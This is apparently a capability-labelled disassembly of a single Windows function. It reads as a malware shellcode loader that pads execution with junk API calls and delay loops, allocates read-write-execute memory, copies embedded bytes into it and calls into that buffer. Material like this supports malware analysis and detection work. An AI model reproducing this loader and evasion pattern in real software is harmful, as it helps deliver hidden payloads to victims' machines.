Function at 0x403290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get disk size
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4568a8
push eax
mov dword fs:[0], esp
sub esp, 0xc30
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x4032c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x4032da
inc esi
cmp esi, 0x73f04bd
jl 0x4032c0
cmp dword [0x460dcc], 0x400
jne 0x403392
push ebx
lea eax, [ebp - 0x83c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x10]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BackupWrite]
xor edx, edx
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x28], ebx
mov word [ebp - 0x38], dx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00403a04
push ebx
call fcn.00403cd2
add esp, 0xc
push ebx
push ebx
push ebx
call fcn.00404269
add esp, 0xc
push ebx
call fcn.00404171
add esp, 4
push ebx
call fcn.00404365
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403d50
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004039f0
fstp st(0)
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x24], 8
jb 0x403392
mov eax, dword [ebp - 0x38]
push eax
call fcn.00403e9c
add esp, 4
cmp dword [0x460dcc], 0x93
jne 0x4033e0
push ebx
push ebx
xor eax, eax
btr dword [eax], 0
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
push ebx
call fcn.00403d80
push ebx
call fcn.00403d2e
add esp, 0xc
push ebx
call fcn.00403d44
add esp, 4
push ebx
push ebx
call fcn.00403f2e
add esp, 8
call fcn.00403280
mov eax, dword [0x460dcc]
mov edx, dword [0x45bef4]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x461c08], edx
mov dword [0x460dcc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x46085c], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x403414
cmp dword [0x460dcc], ebx
jbe 0x4034c2
mov edi, dword [sym.imp.GDI32.dll_DeleteMetaFile]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
jmp 0x403440
mov eax, dword [0x461c08]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x46085c]
mov byte [edx + esi], cl
cmp dword [0x460dcc], 0x490
jne 0x4034b7
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
lea eax, [ebp - 0xc3c]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x18]
push eax
push 0
lea ecx, [ebp - 0x43c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
inc esi
cmp esi, dword [0x460dcc]
jb 0x403440
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
xor esi, esi
mov ecx, dword [0x460dcc]
add ecx, esi
cmp ecx, 0x8d
jne 0x403511
push 0
lea edx, [ebp - 0x43c]
push edx
push 0
push 0
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call ebx
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x4034d0
call fcn.004031f0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
lea esp, [esp]
cmp esi, 0xfa62c8f
jge 0x40353a
call ebx
cmp esi, 0x207142
jg 0x40354b
inc esi
cmp esi, 0x67d12
jl 0x403530
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40356e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x6e8c
mov edx, dword [ebp - 0x10]
add dword [0x46085c], edx
inc esi
cmp esi, 0x674bd
jl 0x403550
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x460dcc], 0x86
jne 0x4035d3
push 0
call esi
push 0
lea eax, [ebp - 0x43c]
push eax
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
cmp dword [0x460dcc], 0xf
jne 0x403600
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
sub dword [ebp - 0x10], 1
jne 0x403590
call fcn.00402f50
call dword [0x46085c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret